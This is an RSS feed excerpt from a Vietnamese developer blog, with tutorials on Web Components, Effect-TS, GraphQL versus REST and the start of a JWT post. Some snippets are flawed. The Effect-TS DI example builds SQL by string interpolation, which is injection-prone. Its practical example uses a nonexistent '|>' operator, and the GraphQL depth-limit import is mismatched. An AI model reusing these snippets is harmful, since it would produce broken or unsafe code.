| Dependencies | ~10-40KB runtime | 0KB — browser API |
| Học | Framework-specific | HTML/CSS/JS thuần |
| Reuse | Cùng framework | Mọi framework |
| SSR | ✅ | ❌ (cần JS) |
| Shadow DOM | ❌ | ✅ Native |
| State | Built-in | Tự làm |
| Build step | ✅ | Có thể không cần |&lt;/p&gt;
&lt;p&gt;Web Components không thay thế framework — nó là lớp tương thích giữa các framework. Dùng cho component dùng chung, design system, widget third-party.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Web_components&quot;&gt;MDN Web Components Overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_custom_elements&quot;&gt;Using Custom Elements&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_shadow_DOM&quot;&gt;Using Shadow DOM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Web_components/Using_templates_and_slots&quot;&gt;Using Templates and Slots&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://html.spec.whatwg.org/multipage/custom-elements.html&quot;&gt;Custom Elements Specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lit.dev/docs/&quot;&gt;Lit Library Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Effect-TS — Functional Error Handling Cho TypeScript</title><link>https://dopana-blog.pages.dev/blog/effect-ts-functional-error-handling-cho-typescript</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/effect-ts-functional-error-handling-cho-typescript</guid><description>Effect-TS đưa functional error handling, dependency injection vào TypeScript. Effect type, Schema, Fiber — viết code an toàn, compose được.</description><pubDate>Sat, 04 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Effect-TS là thư viện functional cho TypeScript — giải quyết 3 vấn đề: error handling type-safe, dependency injection, và effect composition.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Effect } from &apos;effect&apos;

// Effect&amp;#x3C;Success, Error, Requirements&gt;
const program: Effect.Effect&amp;#x3C;string, Error, never&gt; = Effect.sync(() =&gt; {
  return &apos;Hello, Effect!&apos;
})

Effect.runSync(program) // &quot;Hello, Effect!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không throw, không try/catch mất type. Mọi lỗi đều được type annotations.&lt;/p&gt;
&lt;h2&gt;Vấn Đề try/catch&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ TypeScript không biết function này throw gì
async function getUser(id: string) {
  const res = await fetch(`/api/users/${id}`)
  if (!res.ok) throw new Error(&apos;API error&apos;)
  return res.json()
}

// Dùng:
try {
  const user = await getUser(&apos;123&apos;)
  // user: any — mất type
} catch (e) {
  // e: unknown — không biết lỗi gì
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ✅ Effect biết chính xác error type
const getUser = (id: string): Effect.Effect&amp;#x3C;User, ApiError, never&gt; =&gt;
  Effect.tryPromise({
    try: () =&gt; fetch(`/api/users/${id}`).then(r =&gt; r.json()),
    catch: () =&gt; new ApiError(&apos;Failed to fetch&apos;),
  })

// Dùng:
const result = Effect.runSync(getUser(&apos;123&apos;))
// result: User — type-safe
// Nếu lỗi: compile-time biết là ApiError
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Core Types&lt;/h2&gt;
&lt;h3&gt;Effect&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Effect&amp;#x3C;Success, Error, Requirements&gt;
type Effect&amp;#x3C;A, E, R&gt;

// A — kiểu trả về khi thành công
// E — kiểu lỗi
// R — dependencies cần (DI)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// never = không có lỗi / không cần DI
Effect&amp;#x3C;string, never, never&gt;  // Luôn thành công, không cần DI
Effect&amp;#x3C;string, Error, never&gt;  // Có thể lỗi, không cần DI
Effect&amp;#x3C;string, never, Config&gt; // Cần Config service, không lỗi
Effect&amp;#x3C;string, Error, Config&gt; // Có thể lỗi, cần Config
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Option&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Option } from &apos;effect&apos;

// Option = Some | None — thay thế null/undefined
const maybe = Option.some(&apos;hello&apos;)  // Option&amp;#x3C;string&gt;
const none = Option.none()          // Option&amp;#x3C;never&gt;

Option.match(maybe, {
  onNone: () =&gt; &apos;nothing&apos;,
  onSome: (v) =&gt; `got ${v}`,
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Either&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Either } from &apos;effect&apos;

// Either&amp;#x3C;Left, Right&gt; — Left = lỗi, Right = thành công
const success: Either.Either&amp;#x3C;string, number&gt; = Either.right(42)
const failure: Either.Either&amp;#x3C;string, number&gt; = Either.left(&apos;error&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Building Effects&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Effect } from &apos;effect&apos;

// sync — không lỗi
const hello = Effect.sync(() =&gt; &apos;Hello&apos;)
// Effect&amp;#x3C;string, never, never&gt;

// try — có thể lỗi
const parse = Effect.try(() =&gt; JSON.parse(input))
// Effect&amp;#x3C;unknown, unknown, never&gt;

// promise
const fetchUser = Effect.promise(() =&gt;
  fetch(&apos;/api/user&apos;).then(r =&gt; r.json())
)
// Effect&amp;#x3C;unknown, never, never&gt;

// tryPromise — promise có thể lỗi
const safeFetch = Effect.tryPromise({
  try: () =&gt; fetch(&apos;/api/user&apos;).then(r =&gt; r.json()),
  catch: (e) =&gt; new FetchError(e),
})
// Effect&amp;#x3C;unknown, FetchError, never&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Composing Effects&lt;/h2&gt;
&lt;h3&gt;map / flatMap&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const greet = Effect.sync(() =&gt; &apos;World&apos;)
  .pipe(
    Effect.map((name) =&gt; `Hello, ${name}!`),
    Effect.map((msg) =&gt; msg.toUpperCase()),
  )
// Effect&amp;#x3C;string, never, never&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const program = Effect.sync(() =&gt; &apos;user-1&apos;)
  .pipe(
    Effect.flatMap((id) =&gt; fetchUser(id)),  // Effect&amp;#x3C;User, Error, never&gt;
    Effect.map((user) =&gt; user.name),
  )
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Gen (giống async/await)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const program = Effect.gen(function* () {
  const user = yield* fetchUser(&apos;123&apos;)
  const posts = yield* fetchPosts(user.id)
  return { user, posts }
})
// Effect&amp;#x3C;{ user: User; posts: Post[] }, Error, never&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Giống async/await nhưng type-safe — biết chính xác error type ở mỗi step.&lt;/p&gt;
&lt;h3&gt;All (song song)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const [user, posts, comments] = yield* Effect.all([
  fetchUser(&apos;123&apos;),
  fetchPosts(&apos;123&apos;),
  fetchComments(&apos;123&apos;),
], { concurrency: 3 })
// Chạy song song 3 request
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Error Handling&lt;/h2&gt;
&lt;h3&gt;catchAll / catchTag&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const program = fetchUser(&apos;123&apos;).pipe(
  Effect.catchAll((error) =&gt;
    Effect.sync(() =&gt; ({ id: &apos;default&apos;, name: &apos;Guest&apos; }))
  ),
)

// Catch theo tag (discriminated union)
Effect.catchTag(program, &apos;NotFound&apos;, (error) =&gt;
  Effect.sync(() =&gt; ({ id: &apos;guest&apos;, name: &apos;Guest&apos; }))
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;retry&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const program = fetchUser(&apos;123&apos;).pipe(
  Effect.retry({
    times: 3,
    delay: (attempt) =&gt; 1000 * Math.pow(2, attempt),  // Exponential backoff
  }),
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;timeout&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const program = fetchUser(&apos;123&apos;).pipe(
  Effect.timeout(&apos;5 seconds&apos;),
  Effect.catchTag(&apos;TimeoutException&apos;, () =&gt;
    Effect.sync(() =&gt; fallbackUser)
  ),
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Dependency Injection&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Context, Effect } from &apos;effect&apos;

// 1. Định nghĩa service
class Database extends Context.Tag(&apos;Database&apos;)&amp;#x3C;
  Database,
  {
    query: (sql: string) =&gt; Effect.Effect&amp;#x3C;unknown, DbError, never&gt;
  }
&gt;() {}

// 2. Dùng service
const getUser = (id: string) =&gt;
  Effect.gen(function* () {
    const db = yield* Database  // Inject từ context
    const user = yield* db.query(`SELECT * FROM users WHERE id = ${id}`)
    return user
  })
// Effect&amp;#x3C;unknown, DbError, Database&gt;
//                        ↑ cần Database service

// 3. Cung cấp implementation
const liveDb = Database.of({
  query: (sql) =&gt; Effect.tryPromise(() =&gt; pool.query(sql)),
})

const program = getUser(&apos;123&apos;).pipe(
  Effect.provideService(Database, liveDb),
)
// Effect&amp;#x3C;unknown, DbError, never&gt;
//                        ↑ đã cung cấp DI → never
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dependency được xử lý ở compile-time và runtime — không cần decorator, không global state.&lt;/p&gt;
&lt;h2&gt;Schema&lt;/h2&gt;
&lt;p&gt;Effect-Schema cho validation + serialization type-safe:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Schema } from &apos;effect&apos;

const UserSchema = Schema.Struct({
  id: Schema.Number,
  name: Schema.String,
  email: Schema.String.pipe(Schema.email()),
  age: Schema.Number.pipe(Schema.positive(), Schema.int()),
  role: Schema.Literal(&apos;admin&apos;, &apos;user&apos;),
})

type User = Schema.Schema.Type&amp;#x3C;typeof UserSchema&gt;
// { id: number; name: string; email: string; age: number; role: &apos;admin&apos; | &apos;user&apos; }

// Decode — validate + parse
const result = Schema.decodeEither(UserSchema)(input)
if (Either.isRight(result)) {
  console.log(result.right.name)  // ✅ Type-safe
}

// Encode — serialize
const encoded = Schema.encodeSync(UserSchema)(user)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Fiber (Concurrency)&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Effect, Fiber } from &apos;effect&apos;

// Fork — chạy concurrent
const fiber = yield* Effect.fork(longRunningTask)

// Làm việc khác...
yield* otherWork()

// Join — đợi kết quả
const result = yield* Fiber.join(fiber)

// Hoặc race
const winner = yield* Effect.race(fetchFromApi, fetchFromCache)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Resource Management&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Effect } from &apos;effect&apos;

// Scope — tự động giải phóng resource
const program = Effect.acquireRelease(
  Effect.sync(() =&gt; openFile(&apos;data.txt&apos;)),     // acquire
  (file) =&gt; Effect.sync(() =&gt; file.close()),    // release
).pipe(
  Effect.flatMap((file) =&gt; file.read()),
)
// Dù thành công hay lỗi → release luôn chạy
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Practical Example&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Effect, Schema, pipe } from &apos;effect&apos;

// Schema
const TodoSchema = Schema.Struct({
  id: Schema.Number,
  title: Schema.String.pipe(Schema.nonEmpty()),
  completed: Schema.Boolean,
  userId: Schema.Number,
})

type Todo = Schema.Schema.Type&amp;#x3C;typeof TodoSchema&gt;

// Service
class TodoApi extends Context.Tag(&apos;TodoApi&apos;)&amp;#x3C;
  TodoApi,
  {
    getTodo: (id: number) =&gt; Effect.Effect&amp;#x3C;Todo, ApiError, never&gt;
  }
&gt;() {}

class ApiError {
  readonly _tag = &apos;ApiError&apos;
  constructor(readonly message: string) {}
}

// Implementation
const liveTodoApi = TodoApi.of({
  getTodo: (id) =&gt;
    Effect.tryPromise({
      try: () =&gt;
        fetch(`https://jsonplaceholder.typicode.com/todos/${id}`)
          .then((r) =&gt; {
            if (!r.ok) throw new Error(`HTTP ${r.status}`)
            return r.json()
          }),
      catch: (e) =&gt; new ApiError(String(e)),
    }).pipe(
      Effect.flatMap((data) =&gt;
        Schema.decodeEither(TodoSchema)(data)
          |&gt; Either.mapLeft(() =&gt; new ApiError(&apos;Invalid response&apos;))
          |&gt; Effect.fromEither
      ),
    ),
})

// Program
const program = Effect.gen(function* () {
  const api = yield* TodoApi
  const todo = yield* api.getTodo(1)
  return `Todo: ${todo.title} (${todo.completed ? &apos;done&apos; : &apos;pending&apos;})`
}).pipe(
  Effect.provideService(TodoApi, liveTodoApi),
  Effect.retry({ times: 2 }),
  Effect.timeout(&apos;10 seconds&apos;),
  Effect.catchAll((err) =&gt;
    Effect.sync(() =&gt; `Error: ${err.message}`)
  ),
)

// Run
const result = Effect.runPromise(program)
// &quot;Todo: delectus aut autem (pending)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng Effect-TS?&lt;/h2&gt;
&lt;h3&gt;✅ Nên dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Backend service — error handling + DI type-safe&lt;/li&gt;
&lt;li&gt;Data pipeline — nhiều step, cần retry/timeout&lt;/li&gt;
&lt;li&gt;Domain-driven design — typed errors là first-class&lt;/li&gt;
&lt;li&gt;Large TypeScript codebase — cần kiểm soát error flow&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Không nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Small project — boilerplate không đáng&lt;/li&gt;
&lt;li&gt;Frontend app đơn giản — React Query xử lý được&lt;/li&gt;
&lt;li&gt;Team không quen FP — learning curve cao&lt;/li&gt;
&lt;li&gt;Quick prototype — throw + try/catch nhanh hơn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Effect-TS biến error handling từ runtime thành compile-time concern.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Try/catch
function divide(a: number, b: number): number {
  if (b === 0) throw new DivideByZeroError()
  return a / b
}
// TypeScript: number — nhưng thực tế có thể throw

// ✅ Effect
function divide(a: number, b: number): Effect.Effect&amp;#x3C;number, DivideByZeroError, never&gt; {
  return b === 0
    ? Effect.fail(new DivideByZeroError())
    : Effect.sync(() =&gt; a / b)
}
// TypeScript: Effect&amp;#x3C;number, DivideByZeroError, never&gt; — chính xác
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| | try/catch | Effect |
|---|---|---|
| Error type | &lt;code&gt;unknown&lt;/code&gt; | Type-safe |
| Composition | Try/catch lồng nhau | &lt;code&gt;.pipe&lt;/code&gt;, &lt;code&gt;flatMap&lt;/code&gt;, &lt;code&gt;gen&lt;/code&gt; |
| Retry | Tự viết | &lt;code&gt;.retry()&lt;/code&gt; |
| Timeout | &lt;code&gt;Promise.race&lt;/code&gt; | &lt;code&gt;.timeout()&lt;/code&gt; |
| DI | Constructor/DI container | &lt;code&gt;Context.Tag&lt;/code&gt; |
| Concurrency | &lt;code&gt;Promise.all&lt;/code&gt; | &lt;code&gt;Effect.all&lt;/code&gt;, &lt;code&gt;Fiber&lt;/code&gt; |
| Resource | &lt;code&gt;try/finally&lt;/code&gt; | &lt;code&gt;acquireRelease&lt;/code&gt; |
| Schema | Zod/zod validation | Schema + Effect |&lt;/p&gt;
&lt;p&gt;Effect-TS không phải cho mọi project. Cho backend TypeScript phức tạp, nó thay đổi cách bạn nghĩ về error handling.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://effect.website/docs/&quot;&gt;Effect-TS Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Effect-TS/effect&quot;&gt;Effect-TS GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://effect.website/docs/schema/introduction&quot;&gt;Effect-TS Schema&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zod.dev&quot;&gt;Zod Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.typescriptlang.org/docs/handbook/2/functions.html&quot;&gt;TypeScript Functional Programming&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>GraphQL vs REST — Khi Nào Dùng Cái Nào?</title><link>https://dopana-blog.pages.dev/blog/graphql-vs-rest</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/graphql-vs-rest</guid><description>So sánh GraphQL và REST: ưu nhược điểm, use case, và cách chọn đúng cho dự án của bạn.</description><pubDate>Sat, 04 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;REST là tiêu chuẩn API truyền thống. GraphQL là &quot;REST killer&quot; được Facebook tạo ra. Bài này sẽ giúp bạn quyết định dùng cái nào.&lt;/p&gt;
&lt;h2&gt;REST API — Quen Thuộc, Đơn Giản&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /users/1
→ { &quot;id&quot;: 1, &quot;name&quot;: &quot;Alice&quot;, &quot;email&quot;: &quot;alice@example.com&quot; }

GET /users/1/posts
→ [{ &quot;id&quot;: 10, &quot;title&quot;: &quot;Hello&quot; }]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;REST Ưu Điểm&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Đơn giản, dễ hiểu, dùng đúng HTTP semantics&lt;/li&gt;
&lt;li&gt;Cache dễ dàng (URL là cache key)&lt;/li&gt;
&lt;li&gt;Tooling phong phú (bất kỳ HTTP client nào)&lt;/li&gt;
&lt;li&gt;Dễ versioning (&lt;code&gt;/api/v1/&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;REST Nhược Điểm&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Over-fetching — API trả về nhiều field hơn cần&lt;/li&gt;
&lt;li&gt;Under-fetching — cần gọi nhiều endpoint để có đủ data&lt;/li&gt;
&lt;li&gt;Khó thay đổi — thêm field có thể break client&lt;/li&gt;
&lt;li&gt;N+1 problem — gọi API trong loop&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;GraphQL — Linh Hoạt, Chính Xác&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-graphql&quot;&gt;query {
  user(id: 1) {
    name
    email
    posts {
      title
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;data&quot;: {
    &quot;user&quot;: {
      &quot;name&quot;: &quot;Alice&quot;,
      &quot;email&quot;: &quot;alice@example.com&quot;,
      &quot;posts&quot;: [{ &quot;title&quot;: &quot;Hello&quot; }]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;GraphQL Ưu Điểm&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Client quyết định — lấy đúng field cần&lt;/li&gt;
&lt;li&gt;Một request — lấy user + posts + comments trong 1 lần&lt;/li&gt;
&lt;li&gt;Strongly typed — schema là hợp đồng giữa client và server&lt;/li&gt;
&lt;li&gt;Tự động docs — GraphiQL/GraphQL Playground&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;GraphQL Nhược Điểm&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Cache phức tạp — không dùng URL cache được&lt;/li&gt;
&lt;li&gt;Rate limiting khó — một request có thể trigger nhiều resolver&lt;/li&gt;
&lt;li&gt;N+1 — resolver lồng nhau có thể gọi DB nhiều lần (cần DataLoader)&lt;/li&gt;
&lt;li&gt;Learning curve — cần hiểu schema, resolver, query optimization&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;So Sánh Chi Tiết&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | REST | GraphQL |
|---|---|---|
| Data fetching | Server quyết định | Client quyết định |
| Cache | URL-based (dễ) | Complex (cần tool) |
| Versioning | URL path | Evolve schema |
| File upload | Multipart | Cần thư viện |
| Tooling | Browser, curl, Postman | GraphiQL, Apollo DevTools |
| Performance | Dễ predict | Khó predict (nested query) |
| Real-time | SSE, WebSocket riêng | Subscription built-in |
| Complexity | Thấp | Trung bình-Cao |&lt;/p&gt;
&lt;h2&gt;Khi Nào Dùng REST&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;API đơn giản, CRUD basic&lt;/li&gt;
&lt;li&gt;Public API cho bên thứ ba&lt;/li&gt;
&lt;li&gt;File upload/download nhiều&lt;/li&gt;
&lt;li&gt;Microservice internal communication&lt;/li&gt;
&lt;li&gt;Cache là yêu cầu quan trọng&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Khi Nào Dùng GraphQL&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Dashboard/UI phức tạp, nhiều loại data&lt;/li&gt;
&lt;li&gt;Mobile app (băng thông hạn chế)&lt;/li&gt;
&lt;li&gt;Nhiều client khác nhau (web, mobile, IoT)&lt;/li&gt;
&lt;li&gt;Bạn muốn schema làm single source of truth&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Thực Tế — Hybrid&lt;/h2&gt;
&lt;p&gt;Không nhất thiết phải chọn 1. Nhiều công ty dùng cả hai:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Public API → REST (ổn định, cache tốt)
Internal API → GraphQL (linh hoạt cho nhiều client)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc: REST cho CRUD đơn giản, GraphQL cho complex query.&lt;/p&gt;
&lt;h2&gt;Triển Khai GraphQL&lt;/h2&gt;
&lt;h3&gt;Server với Yoga (Node.js)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { createYoga, createSchema } from &apos;graphql-yoga&apos;;
import { createServer } from &apos;node:http&apos;;

const schema = createSchema({
  typeDefs: `
    type Query {
      user(id: ID!): User
      posts(limit: Int): [Post]
    }

    type User {
      id: ID!
      name: String!
      email: String!
      posts: [Post]
    }

    type Post {
      id: ID!
      title: String!
      content: String!
    }
  `,
  resolvers: {
    Query: {
      user: (_, { id }) =&gt; db.getUser(id),
      posts: (_, { limit }) =&gt; db.getPosts(limit),
    },
    User: {
      posts: (parent) =&gt; db.getPostsByUser(parent.id),
    },
  },
});

const server = createServer(createYoga({ schema }));
server.listen(4000);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;DataLoader — Giải Quyết N+1&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import DataLoader from &apos;dataloader&apos;;

const postLoader = new DataLoader(async (userIds: number[]) =&gt; {
  const posts = await db.getPostsByUsers(userIds);
  // Group by userId
  return userIds.map(id =&gt; posts.filter(p =&gt; p.userId === id));
});

const resolvers = {
  User: {
    posts: (parent) =&gt; postLoader.load(parent.id),
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Bảo Mật GraphQL&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Giới hạn độ sâu query
import depthLimit from &apos;graphql-depth-limit&apos;;

const yoga = createYoga({
  schema,
  plugins: [
    useDepthLimit({ maxDepth: 5 }),
  ],
});
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Giới hạn complexity
const schema = createSchema({
  typeDefs: `
    type Query {
      users: [User] @complexity(value: 10)
      expensiveQuery: Data @complexity(value: 100)
    }
  `,
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;REST và GraphQL không phải kẻ thù — mỗi cái có chỗ đứng riêng. REST cho đơn giản, ổn định. GraphQL cho linh hoạt, hiệu quả. Chọn theo nhu cầu.&lt;/p&gt;
&lt;p&gt;Nếu bạn chưa biết bắt đầu — chọn REST. Khi REST đau quá (over-fetching, multiple round trips), hãy nghĩ đến GraphQL.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://graphql.org/learn/&quot;&gt;GraphQL Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://the-guild.dev/graphql/yoga-server&quot;&gt;GraphQL Yoga — Server Framework&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/graphql/dataloader&quot;&gt;DataLoader — Batching &amp;#x26; Caching&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://spec.graphql.org/&quot;&gt;GraphQL Foundation Specifications&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>JSON Web Token (JWT) — Từ Cấu Trúc Đến Implementation</title><link>https://dopana-blog.pages.dev/blog/jwt-deep-dive</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/jwt-deep-dive</guid><description>JWT deep dive: cấu trúc token, signing algorithms, refresh token rotation, blacklist, và security best practices.</description><pubDate>Sat, 04 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JWT (JSON Web Token) là chuẩn token compact dùng cho authentication. Self-contained — mọi thông tin đều trong token, không cần session store.&lt;/p&gt;
&lt;h2&gt;Cấu Trúc JWT&lt;/h2&gt;
&lt;p&gt;JWT gồm 3 phần, cách nhau bởi dấu chấm:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;header.payload.signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Header&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;alg&quot;: &quot;HS256&quot;,    // Thuật toán sign
  &quot;typ&quot;: &quot;JWT&quot;       // Type
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Payload (Claims)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;sub&quot;: &quot;user_123&quot;,         // Subject — user ID
  &quot;name&quot;: &quot;Alice&quot;,
  &quot;role&quot;: &quot;admin&quot;,
  &quot;iat&quot;: 1516239022,         // Issued at
  &quot;exp&quot;: 1516242622,         // Expiration
  &quot;iss&quot;: &quot;myapp.com&quot;,       // Issuer
  &quot;aud&quot;: &quot;api.myapp.com&quot;    // Audience
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Signature&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;HMACSHA256(
  base64UrlEncode(header) + &quot;.&quot; +
  base64UrlEncode(payload),
  secret
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Signing Algorithms&lt;/h2&gt;
&lt;h3&gt;HS256 — Symmetric (HMAC + SHA256)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import jwt from &apos;jsonwebtoken&apos;;

const secret = process.env.JWT_SECRET!; // Shared secret

const token = jwt.sign(
  { userId: 123, role: &apos;admin&apos; },
  secret,
  { expiresIn: &apos;15m&apos; }
);

const decoded = jwt.verify(token, secret);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ưu: Nhanh, đơn giản.
Nhược: Secret phải share giữa các service — nếu leak, tất cả đều ảnh hưởng.&lt;/p&gt;
&lt;h3&gt;RS256 — Asymmetric (RSA + SHA256)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import jwt from &apos;jsonwebtoken&apos;;
import fs from &apos;fs&apos;;

const privateKey = fs.readFileSync(&apos;private.pem&apos;);
const publicKey = fs.readFileSync(&apos;public.pem&apos;);

// Sign với private key (chỉ auth server làm)
const token = jwt.sign(
  { userId: 123 },
  privateKey,
  { algorithm: &apos;RS256&apos;, expiresIn: &apos;15m&apos; }
);

// Verify với public key (bất kỳ service nào)
const decoded = jwt.verify(token, publicKey, { algorithms: [&apos;RS256&apos;] });
&lt;/code&gt;&lt;/pre&gt;
